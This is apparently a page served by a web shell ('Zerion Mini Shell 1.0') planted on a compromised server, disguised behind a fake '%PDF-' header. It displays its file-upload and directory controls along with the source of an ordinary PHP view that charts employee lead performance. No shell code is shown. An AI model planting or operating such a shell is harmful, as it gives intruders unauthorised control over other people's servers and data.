%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/www/BOS/application/modules/performance/views/
Upload File :
Create Path :
Current File : /home/ugotscom/www/BOS/application/modules/performance/views/view.php

<script src="https:cdnjs.cloudflare.com/ajax/libs/Chart.js/2.9.3/Chart.min.js"></script>
  <script type="text/javascript" src="http://code.jquery.com/jquery-1.7.1.min.js"></script>
<div class="content-wrapper">
     <section class="content-header">
          <h1>Employee Performance</h1>

     </section>

     <section class="content">
      <div class="row">
            <form method="post" action="<?=base_url()?>performance/employeeperformance">
    
<select name="month" class="form-controlbox" placeholder="enquiry_source" required>
  <option value="01">January</option>
        <option value="02">February</option>
        <option value="03">March</option>
        <option value="04">April</option>
        <option value="05">May</option>
        <option value="06">June</option>
        <option value="07">July</option>
        <option value="08">August</option>
        <option value="09">September</option>
        <option value="10">October</option>
        <option value="11">November</option>
        <option value="12">December</option>
</select>
    
 <select name="branch_id" class="form-controlbox" placeholder="enquiry_source" required>
                            <?php foreach ($branches->result() as $row) :?>
                              <option value="<?php echo $row->branch_id;?>"><?php echo $row->branch_name;?></option>
                            <?php endforeach;?>
                         </select>
<button class="" type="submit" value="submit">SEARCH</button>

  </form>
      </div>
      <div class="row">
<div class="col-md-6">
<canvas id="myChart"></canvas>
</div>
<div class="col-md-6">
<canvas id="closedchart"></canvas>
</div>
      </div>
          <div class="row">
        
          <div class="col-md-12">
                    <!-- BEGIN EXAMPLE TABLE PORTLET-->

    
<!-- Modal Add Product-->
  



                    
                    <!-- END EXAMPLE TABLE PORTLET-->
                </div>
              
          


          </div>
     </section>
</div>
  



<script type="text/javascript">
 var paramNombres = [];
var paramEdades = [];
  $.post("<?php echo base_url();?>performance/totalnoallchart",
      function(data){
          var obj = JSON.parse(data);

          paramNombres = [];
          paramEdades = [];
          $.each(obj, function(i,item){
              paramNombres.push(item.name);
              paramEdades.push(item.total);
          });
            
         
          var ctx = $("#myChart");
          var myChart = new Chart(ctx, {
              type: 'bar',
              data: {
                  labels: paramNombres, 
                  datasets: [
                      {
                          label: "Leads Generated by employees",
                          fill: true,
                          lineTension: 0.1,
                          backgroundColor: ["#3e95cd", "#8e5ea2","#3cba9f","#e8c3b9","#c45850"],
                          borderColor: "rgba(75,192,192,1)",
                          borderCapStyle: 'butt',
                          borderDash: [],
                          borderDashOffset: 0.0,
                          borderJoinStyle: 'miter',
                          pointBorderColor: "rgba(75,192,192,1)",
                          pointBackgroundColor: "#fff",
                          pointBorderWidth: 10,
                          pointHoverRadius: 5,
                          pointHoverBackgroundColor: "rgba(75,192,192,1)",
                          pointHoverBorderColor: "rgba(220,220,220,1)",
                          pointHoverBorderWidth: 5,
                          pointRadius: 1,
                          pointHitRadius: 10,
                          data: paramEdades, 
                          spanGaps: false,
                      }
                  ]
              },
              options: {
                  scales: {
                      yAxes: [{
                          ticks: {
                              beginAtZero:true
                          }
                      }]
                  }
              }
          });
      });

</script>
<script type="text/javascript">
 var paramNombres = [];
var paramEdades = [];
  $.post("<?php echo base_url();?>performance/closedno",
      function(data){
          var obj = JSON.parse(data);

          paramNombres = [];
          paramEdades = [];
          $.each(obj, function(i,item){
              paramNombres.push(item.name);
              paramEdades.push(item.total);
          });
            
         
          var ctx = $("#closedchart");
          var myChart = new Chart(ctx, {
              type: 'horizontalBar',
              data: {
                  labels: paramNombres, 
                  datasets: [
                      {
                          label: "Leads closed by employees",
                          fill: true,
                          lineTension: 0.1,
                          backgroundColor: [
                                            'rgba(255, 99, 132)',
                                            'rgba(54, 162, 235)',
                                            'rgba(255, 206, 86)',
                                            'rgba(75, 192, 192)',
                                            'rgba(153, 102, 255)',
                                            'rgba(255, 159, 64)'
                                             ],
                          borderColor: "rgba(75,192,192,1)",
                          borderCapStyle: 'butt',
                          borderDash: [],
                          borderDashOffset: 0.0,
                          borderJoinStyle: 'miter',
                          pointBorderColor: "rgba(75,192,192,1)",
                          pointBackgroundColor: "#fff",
                          pointBorderWidth: 10,
                          pointHoverRadius: 5,
                          pointHoverBackgroundColor: "rgba(75,192,192,1)",
                          pointHoverBorderColor: "rgba(220,220,220,1)",
                          pointHoverBorderWidth: 5,
                          pointRadius: 1,
                          pointHitRadius: 10,
                          data: paramEdades, 
                          spanGaps: false,
                      }
                  ]
              },
              options: {
                  scales: {
                      yAxes: [{
                          ticks: {
                              beginAtZero:true
                          }
                      }]
                  }
              }
          });
      });

</script>

Zerion Mini Shell 1.0